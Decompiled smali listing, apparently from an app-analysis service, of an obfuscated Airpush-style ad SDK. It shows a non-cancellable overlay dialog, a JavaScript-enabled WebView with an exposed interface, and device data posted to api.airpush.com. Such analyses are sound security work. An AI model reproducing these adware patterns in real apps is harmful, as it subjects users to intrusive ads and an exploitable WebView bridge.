161invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
162move-result-object v6
164const-string v7, "text/html"
166const-string v8, "utf-8"
167move-object v4, p0
168move-object v9, v5
170invoke-virtual/range {v4 .. v9}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: utf-8
    • p4: 0
171goto/16 :goto_54
172cond_d9:
173const-string v0, "AirplayMraid"
175const-string v2, "Tag data is null"
177invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Tag data is null
178goto/16 :goto_54
179cond_e2:
180iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
182invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd()Z
183move-result v0
184if-eqz v0, :cond_133
186iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
188invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
189move-result-object v0
190if-eqz v0, :cond_12a
192iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
194invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
195move-result-object v0
197const-string v2, ""
199invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
200move-result v0
201if-nez v0, :cond_12a
202new-instance v0, Ljava/lang/StringBuilder;
204invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
206const-string v2, "<html><head></head><body>"
208invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <html><head></head><body>
209move-result-object v0
211iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
213invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
214move-result-object v2
216invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
217move-result-object v0
219const-string v2, "</body></html>"
221invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </body></html>
222move-result-object v0
224invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
225move-result-object v6
227const-string v7, "text/html"
229const-string v8, "utf-8"
230move-object v4, p0
231move-object v9, v5
233invoke-virtual/range {v4 .. v9}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: utf-8
    • p4: 0
234goto/16 :goto_54
235cond_12a:
236const-string v0, "AirplayMraid"
238const-string v2, "tag data is null"
240invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: tag data is null
241goto/16 :goto_54
242cond_133: if-eqz p1, :cond_142
244const-string v0, ""
246invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
247move-result v0
248if-nez v0, :cond_142
250invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView;->loadUrl(Ljava/lang/String;)V
251goto/16 :goto_54
252cond_142:
253const-string v0, "AirplayMraid"
254new-instance v2, Ljava/lang/StringBuilder;
256invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
258const-string v3, "Invalid url: "
260invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Invalid url:
261move-result-object v2
263invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
264move-result-object v2
266invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
267move-result-object v2
269invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
270goto/16 :goto_54
Cross References
APIs
  • android.app.Dialog.<init>
  • com.vxjxu.jkhfn1870.OverlayAd.requestWindowFeature
  • com.vxjxu.jkhfn1870.OverlayAd.getWindow
  • android.graphics.drawable.ColorDrawable.<init>
  • android.view.Window.setBackgroundDrawable
  • com.vxjxu.jkhfn1870.OverlayAd.setCancelable
  • com.vxjxu.jkhfn1870.OverlayAd.setCanceledOnTouchOutside
  • com.vxjxu.jkhfn1870.OverlayAd.setOnCancelListener
  • com.vxjxu.jkhfn1870.OverlayAd.setOnDismissListener
  • android.app.Activity.getResources
  • android.content.res.Resources.getDisplayMetrics
  • android.widget.RelativeLayout.<init>
  • android.widget.RelativeLayout.setId
  • android.widget.RelativeLayout$LayoutParams.<init>
  • android.widget.RelativeLayout$LayoutParams.addRule
  • android.widget.RelativeLayout.setLayoutParams
  • android.webkit.WebView.<init>
  • android.webkit.WebView.setId
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • android.webkit.WebChromeClient.<init>
  • android.webkit.WebView.setWebChromeClient
  • android.webkit.WebView.setHorizontalScrollBarEnabled
  • android.webkit.WebView.setVerticalScrollBarEnabled
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setCacheMode
  • android.webkit.WebView.setBackgroundColor
  • android.webkit.WebView.setScrollBarStyle
  • android.webkit.WebView.addJavascriptInterface
  • android.webkit.WebView.setOnTouchListener
  • com.vxjxu.jkhfn1870.OverlayAd$1.<init>
  • android.webkit.WebView.setWebViewClient
  • android.webkit.WebView.loadDataWithBaseURL
  • android.widget.RelativeLayout$LayoutParams.<init>
  • android.widget.RelativeLayout$LayoutParams.addRule
  • android.webkit.WebView.setLayoutParams
  • android.widget.RelativeLayout.addView
  • com.vxjxu.jkhfn1870.OverlayAd.setContentView
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • android.app.Activity.finish
Strings
  • AirplaySDK
  • 23
  • 24
  • 25
  • 43
  • 44
  • 45
  • 184
  • 183
  • Overlay
  • text/html
  • UTF-8
  • An error occured while starting Overlay Ad.
Position Instruction Meta Information
0.param p1, "context" # Landroid/app/Activity;
1.annotation build Landroid/annotation/SuppressLint;
2value = {
3"SetJavaScriptEnabled"
4}
5.end annotation
6.prologue
7const/4 v1, 0x0
9invoke-direct {p0, p1}, Landroid/app/Dialog;-><init>(Landroid/content/Context;)V
11const-string v0, "AirplaySDK"
12iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->TAG:Ljava/lang/String;
14const-string v0, "23"
15iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_push:Ljava/lang/String;
17const-string v0, "24"
18iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_click:Ljava/lang/String;
20const-string v0, "25"
21iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_click_no:Ljava/lang/String;
23const-string v0, "43"
24iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_push:Ljava/lang/String;
26const-string v0, "44"
27iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_click_yes:Ljava/lang/String;
29const-string v0, "45"
30iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_click_no:Ljava/lang/String;
32const-string v0, "184"
33iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_error:Ljava/lang/String;
35const-string v0, "183"
36iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_error:Ljava/lang/String;
37iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->errorInLoading:Z
38iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->isCliked:Z
39new-instance v0, Lcom/vxjxu/jkhfn1870/OverlayAd$2;
41invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd$2;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;)V
42iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->onTouchListener:Landroid/view/View$OnTouchListener;
43try_start_33: iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
44const/4 v0, 0x1
46invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->requestWindowFeature(I)Z
  • Data flow analysis:
    • featureId: 1
48invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->getWindow()Landroid/view/Window;
49move-result-object v0
50new-instance v1, Landroid/graphics/drawable/ColorDrawable;
51const/4 v2, 0x0
53invoke-direct {v1, v2}, Landroid/graphics/drawable/ColorDrawable;-><init>(I)V
  • Data flow analysis:
    • p0: 0
55invoke-virtual {v0, v1}, Landroid/view/Window;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
56const/4 v0, 0x0
58invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setCancelable(Z)V
  • Data flow analysis:
    • flag: 0
59const/4 v0, 0x0
61invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setCanceledOnTouchOutside(Z)V
  • Data flow analysis:
    • cancel: 0
63invoke-virtual {p0, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setOnCancelListener(Landroid/content/DialogInterface$OnCancelListener;)V
65invoke-virtual {p0, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setOnDismissListener(Landroid/content/DialogInterface$OnDismissListener;)V
67invoke-virtual {p1}, Landroid/app/Activity;->getResources()Landroid/content/res/Resources;
68move-result-object v0
70invoke-virtual {v0}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
71move-result-object v0
72iget v9, v0, Landroid/util/DisplayMetrics;->density:F
73new-instance v7, Landroid/widget/RelativeLayout;
75invoke-direct {v7, p1}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V
76const/16 v0, 0x4c
78invoke-virtual {v7, v0}, Landroid/widget/RelativeLayout;->setId(I)V
  • Data flow analysis:
    • p0: 76
79new-instance v8, Landroid/widget/RelativeLayout$LayoutParams;
80const/4 v0, -0x2
81const/4 v1, -0x2
83invoke-direct {v8, v0, v1}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
84const/16 v0, 0xd
86invoke-virtual {v8, v0}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(I)V
  • Data flow analysis:
    • p0: 13
88invoke-virtual {v7, v8}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
89new-instance v0, Landroid/webkit/WebView;
91invoke-direct {v0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
92iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
94iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
95const/16 v1, 0x36
97invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setId(I)V
  • Data flow analysis:
    • p0: 54
99iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
101invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
102move-result-object v0
103const/4 v1, 0x1
105invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
107iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
108new-instance v1, Landroid/webkit/WebChromeClient;
110invoke-direct {v1}, Landroid/webkit/WebChromeClient;-><init>()V
112invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V
114iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
115const/4 v1, 0x0
117invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setHorizontalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
119iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
120const/4 v1, 0x0
122invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setVerticalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
124iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
126invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
127move-result-object v0
128const/4 v1, -0x1
130invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setCacheMode(I)V
132iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
133const/4 v1, 0x0
135invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setBackgroundColor(I)V
  • Data flow analysis:
    • color: 0
137iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
138const/high16 v1, 0x2000000
140invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setScrollBarStyle(I)V
  • Data flow analysis:
    • style: 33554432
142iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
143new-instance v1, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;
144const/4 v2, 0x0
146invoke-direct {v1, p0, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;Lcom/vxjxu/jkhfn1870/OverlayAd$1;)V
148const-string v2, "Overlay"
150invoke-virtual {v0, v1, v2}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
  • Data flow analysis:
    • name: Overlay
152iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
154iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->onTouchListener:Landroid/view/View$OnTouchListener;
156invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setOnTouchListener(Landroid/view/View$OnTouchListener;)V
158iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
159new-instance v1, Lcom/vxjxu/jkhfn1870/OverlayAd$1;
161invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd$1;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;)V
163invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
165iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
166const/4 v1, 0x0
168sget-object v2, Lcom/vxjxu/jkhfn1870/OverlayAd;->tag:Ljava/lang/String;
170const-string v3, "text/html"
172const-string v4, "UTF-8"
173const/4 v5, 0x0
175invoke-virtual/range {v0 .. v5}, Landroid/webkit/WebView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: UTF-8
    • p4: 0
176new-instance v10, Landroid/widget/RelativeLayout$LayoutParams;
177sget v0, Lcom/vxjxu/jkhfn1870/OverlayAd;->width:I
178sget v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->height:I
180invoke-direct {v10, v0, v1}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
181const/16 v0, 0xd
183invoke-virtual {v10, v0}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(I)V
  • Data flow analysis:
    • p0: 13
185iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
187invoke-virtual {v0, v10}, Landroid/webkit/WebView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
189iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView;
191invoke-virtual {v7, v0}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V
193invoke-virtual {p0, v7}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setContentView(Landroid/view/View;)V
194goto_102: return-void
195catch_103: move-exception v6
197const-string v0, "AirplaySDK"
199const-string v1, "An error occured while starting Overlay Ad."
201invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: An error occured while starting Overlay Ad.
202try_start_10b:
203invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
205invoke-virtual {p1}, Landroid/app/Activity;->finish()V
206try_end_111: goto/16 :goto_102
207catch_112: move-exception v0
208goto/16 :goto_102
APIs
  • com.vxjxu.jkhfn1870.AdView.access$102
  • com.vxjxu.jkhfn1870.AdView.access$200
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$300
  • java.util.ArrayList.<init>
  • com.vxjxu.jkhfn1870.AdView.access$200
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.vxjxu.jkhfn1870.AdView.getContext
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.vxjxu.jkhfn1870.AdView.access$400
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • com.vxjxu.jkhfn1870.AdView.access$500
  • java.lang.String.valueOf
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • com.vxjxu.jkhfn1870.AdView.getContext
  • java.lang.Thread.<init>
  • com.vxjxu.jkhfn1870.AdView.access$602
  • com.vxjxu.jkhfn1870.AdView.access$600
  • java.lang.Thread.start
  • com.vxjxu.jkhfn1870.AdView.access$200
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$300
Strings
  • rich_media
  • https://api.airpush.com/mraid/mraidadcall.php
  • https://api.airpush.com/mraid/adcall.php
  • banner_type
  • supports
  • placement_type
  • canShowMR
  • AdView
  • inappad
  • https://api.airpush.com/inappads/inappadcall.php
  • https://api.airpush.com/inappads/testinappadcall.php
  • https://api.airpush.com/bannerads/banneradcall.php
  • https://api.airpush.com/bannerads/testbanner.php
Position Instruction Meta Information
0.prologue
1const/4 v8, 0x1
3iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
5invoke-static {v0, v8}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z
  • Data flow analysis:
    • p1: 1
7const-string v5, ""
9iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
11invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
12move-result-object v0
13if-eqz v0, :cond_c1
15iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
17invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
18move-result-object v0
20const-string v2, "rich_media"
22invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: rich_media
23move-result v0
24if-eqz v0, :cond_c1
26const-string v5, "https://api.airpush.com/mraid/mraidadcall.php"
28iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
30invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$300(Lcom/vxjxu/jkhfn1870/AdView;)Z
31move-result v0
32if-eqz v0, :cond_2a
34const-string v5, "https://api.airpush.com/mraid/adcall.php"
35cond_2a: new-instance v4, Ljava/util/ArrayList;
37invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
38new-instance v0, Lorg/apache/http/message/BasicNameValuePair;
40const-string v2, "banner_type"
42iget-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
44invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
45move-result-object v3
47invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: banner_type
49invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
50new-instance v0, Lorg/apache/http/message/BasicNameValuePair;
52const-string v2, "supports"
53new-instance v3, Ljava/lang/StringBuilder;
55invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
57const-string v6, ""
59invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v3
62iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
64invoke-virtual {v6}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
65move-result-object v6
67invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject;
68move-result-object v6
70invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
71move-result-object v3
73invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
74move-result-object v3
76invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: supports
78invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
79new-instance v0, Lorg/apache/http/message/BasicNameValuePair;
81const-string v2, "placement_type"
82new-instance v3, Ljava/lang/StringBuilder;
84invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
86const-string v6, ""
88invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
89move-result-object v3
91iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
93invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$400(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
94move-result-object v6
96invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
97move-result-object v3
99invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
100move-result-object v3
102invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: placement_type
104invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
105new-instance v0, Lorg/apache/http/message/BasicNameValuePair;
107const-string v2, "canShowMR"
109iget-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
111invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$500(Lcom/vxjxu/jkhfn1870/AdView;)Z
112move-result v3
114invoke-static {v3}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
115move-result-object v3
117invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: canShowMR
119invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
120new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread;
122iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
124invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
125move-result-object v2
126const-wide/16 v6, 0x0
127move-object v3, p0
129invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V
131iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
132new-instance v2, Ljava/lang/Thread;
134const-string v3, "AdView"
136invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: AdView
138invoke-static {v0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->access$602(Lcom/vxjxu/jkhfn1870/AdView;Ljava/lang/Thread;)Ljava/lang/Thread;
140iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
142invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$600(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/Thread;
143move-result-object v0
145invoke-virtual {v0}, Ljava/lang/Thread;->start()V
146return-void
147cond_c1:
148iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
150invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
151move-result-object v0
152if-eqz v0, :cond_e5
154iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
156invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
157move-result-object v0
159const-string v2, "inappad"
161invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: inappad
162move-result v0
163if-eqz v0, :cond_e5
165const-string v5, "https://api.airpush.com/inappads/inappadcall.php"
167iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
169invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$300(Lcom/vxjxu/jkhfn1870/AdView;)Z
170move-result v0
171if-eqz v0, :cond_2a
173const-string v5, "https://api.airpush.com/inappads/testinappadcall.php"
174goto/16 :goto_2a
175cond_e5:
176const-string v5, "https://api.airpush.com/bannerads/banneradcall.php"
178iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
180invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$300(Lcom/vxjxu/jkhfn1870/AdView;)Z
181move-result v0
182if-eqz v0, :cond_2a
184const-string v5, "https://api.airpush.com/bannerads/testbanner.php"
185goto/16 :goto_2a
Cross References
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.content.Intent.addCategory
  • android.content.Intent.setClassName
  • android.app.Activity.startActivity
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • android.util.Log.i
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.app.Activity.startActivity
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • android.app.Activity.finish
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • android.content.ActivityNotFoundException.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • android.app.Activity.finish
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • java.lang.Exception.printStackTrace
  • android.app.Activity.finish
Strings
  • com.android.browser
  • com.android.browser.BrowserActivity
  • android.intent.action.VIEW
  • android.intent.category.LAUNCHER
  • DAU
  • DCC
  • DCM
  • 44
  • 24
  • AirplaySDK
  • Browser not found.
  • Error whlie displaying dialog ad......:
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.prologue
2try_start_0:
3invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
